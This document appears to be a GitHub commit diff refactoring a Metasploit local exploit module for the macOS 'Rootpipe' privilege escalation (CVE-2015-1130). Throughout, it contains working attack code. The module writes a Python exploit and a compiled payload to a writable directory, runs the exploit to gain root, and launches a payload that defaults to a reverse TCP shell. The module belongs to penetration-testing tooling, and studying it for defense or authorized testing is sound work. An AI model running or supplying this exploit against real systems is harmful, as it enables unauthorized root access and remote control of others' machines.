@@ -9,86 +9,96 @@ class Metasploit4 < Msf::Exploit::Local
9
9
10
10
Rank = GreatRanking
11
11
12
- include Msf ::Post ::File
12
+ include Msf ::Post ::OSX :: System
13
13
include Msf ::Exploit ::EXE
14
14
include Msf ::Exploit ::FileDropper
15
15
16
16
def initialize ( info = { } )
17
17
super ( update_info ( info ,
18
- 'Name' => 'Mac OS X "Rootpipe" Privilege Escalation' ,
19
- 'Description' => %q{
18
+ 'Name' => 'Mac OS X "Rootpipe" Privilege Escalation' ,
19
+ 'Description' => %q{
20
20
This module exploits a hidden backdoor API in Apple's Admin framework on
21
- OS X to escalate privileges to root. Dubbed "Rootpipe."
21
+ Mac OS X to escalate privileges to root. Dubbed "Rootpipe."
22
22
23
23
Tested on Yosemite 10.10.2 and should work on previous versions.
24
24
25
25
The patch for this issue was not backported to older releases.
26
26
} ,
27
- 'Author' => [
27
+ 'Author' => [
28
28
'Emil Kvarnhammar' , # Vulnerability discovery and PoC
29
- 'joev' , # Copy/paste monkey
30
- 'wvu' # Meta copy/paste monkey
29
+ 'joev' , # Copy/paste monkey
30
+ 'wvu' # Meta copy/paste monkey
31
31
] ,
32
- 'References' => [
33
- [ 'CVE' , '2015-1130' ] ,
34
- [ 'EDB' , '36692' ] ,
35
- [ 'URL' , 'https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/' ]
32
+ 'References' => [
33
+ [ 'CVE' , '2015-1130' ] ,
34
+ [ 'OSVDB' , '114114' ] ,
35
+ [ 'EDB' , '36692' ] ,
36
+ [ 'URL' , 'https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/' ]
36
37
] ,
37
38
'DisclosureDate' => 'Apr 9 2015' ,
38
- 'License' => MSF_LICENSE ,
39
- 'Platform' => 'osx' ,
40
- 'Arch' => ARCH_X86_64 ,
41
- 'SessionTypes' => [ 'shell' , 'meterpreter '] ,
42
- 'Targets' => [
43
- [ 'Mac OS X 10.9-10.10.2 x64 (Native Payload) ' , { } ]
39
+ 'License' => MSF_LICENSE ,
40
+ 'Platform' => 'osx' ,
41
+ 'Arch' => ARCH_X86_64 ,
42
+ 'SessionTypes' => [ 'shell' ] ,
43
+ 'Targets' => [
44
+ [ 'Mac OS X 10.9-10.10.2' , { } ]
44
45
] ,
45
- 'DefaultTarget' => 0 ,
46
+ 'DefaultTarget' => 0 ,
46
47
'DefaultOptions' => {
47
48
'PAYLOAD' => 'osx/x64/shell_reverse_tcp' ,
48
- 'CMD' => '/bin/zsh'
49
+ 'CMD' => '/bin/zsh'
49
50
}
50
51
) )
51
52
52
53
register_options ( [
53
- OptString . new ( 'TMPDIR ' , [ true , 'Path to temp directory ' , '/tmp ' ] ) ,
54
- OptString . new ( 'PYTHON ' , [ true , 'Path to Python ' , '/usr/bin/python ' ] )
54
+ OptString . new ( 'PYTHON ' , [ true , 'Python executable ' , '/usr/bin/python ' ] ) ,
55
+ OptString . new ( 'WritableDir ' , [ true , 'Writable directory ' , '/.Trashes ' ] )
55
56
] )
56
57
end
57
58
58
59
def check
59
- if ver_between ( osx_ver , '10.9' , '10.10.2' )
60
- Exploit ::CheckCode ::Vulnerable
61
- else
62
- Exploit ::CheckCode ::Safe
63
- end
60
+ Gem ::Version . new ( get_sysinfo [ 'ProductVersion' ] ) . between? (
61
+ Gem ::Version . new ( '10.9' ) , Gem ::Version . new ( '10.10.2' )
62
+ ) ? Exploit ::CheckCode ::Vulnerable : Exploit ::CheckCode ::Safe
64
63
end
65
64
66
65
def exploit
67
- exploit_path = File . join ( Msf ::Config . data_directory , 'exploits' , 'CVE-2015-1130' )
68
- python_exploit = File . read ( File . join ( exploit_path , 'exploit.py' ) )
69
- binary_payload = Msf ::Util ::EXE . to_osx_x64_macho ( framework , payload . encoded )
70
- exploit_file = "#{ datastore [ 'TMPDIR' ] } /#{ Rex ::Text ::rand_text_alpha_lower ( 12 ) } "
71
- payload_file = "#{ datastore [ 'TMPDIR' ] } /#{ Rex ::Text ::rand_text_alpha_lower ( 12 ) } "
72
-
73
- print_status ( "Writing exploit file as '#{ exploit_file } '" )
66
+ print_status ( "Writing exploit to `#{ exploit_file } '" )
74
67
write_file ( exploit_file , python_exploit )
75
68
register_file_for_cleanup ( exploit_file )
76
69
77
- print_status ( "Writing payload file as ' #{ payload_file } '" )
70
+ print_status ( "Writing payload to ` #{ payload_file } '" )
78
71
write_file ( payload_file , binary_payload )
79
72
register_file_for_cleanup ( payload_file )
80
73
74
+ print_status ( 'Executing exploit...' )
75
+ cmd_exec ( sploit )
81
76
print_status ( 'Executing payload...' )
82
- cmd_exec ( "#{ datastore [ 'PYTHON' ] } #{ exploit_file } #{ payload_file } #{ payload_file } " )
83
77
cmd_exec ( payload_file )
84
78
end
85
79
86
- def osx_ver
87
- cmd_exec ( 'sw_vers -productVersion' ) . to_s . strip
80
+ def sploit
81
+ "#{ datastore [ 'PYTHON' ] } #{ exploit_file } #{ payload_file } #{ payload_file } "
82
+ end
83
+
84
+ def python_exploit
85
+ File . read ( File . join (
86
+ Msf ::Config . data_directory , 'exploits' , 'CVE-2015-1130' , 'exploit.py'
87
+ ) )
88
+ end
89
+
90
+ def binary_payload
91
+ Msf ::Util ::EXE . to_osx_x64_macho ( framework , payload . encoded )
92
+ end
93
+
94
+ def exploit_file
95
+ @exploit_file ||=
96
+ "#{ datastore [ 'WritableDir' ] } /#{ Rex ::Text . rand_text_alpha ( 8 ) } "
88
97
end
89
98
90
- def ver_between ( a , b , c )
91
- Gem ::Version . new ( a ) . between? ( Gem ::Version . new ( b ) , Gem ::Version . new ( c ) )
99
+ def payload_file
100
+ @payload_file ||=
101
+ "#{ datastore [ 'WritableDir' ] } /#{ Rex ::Text . rand_text_alpha ( 8 ) } "
92
102
end
93
103
94
104
end
0 commit comments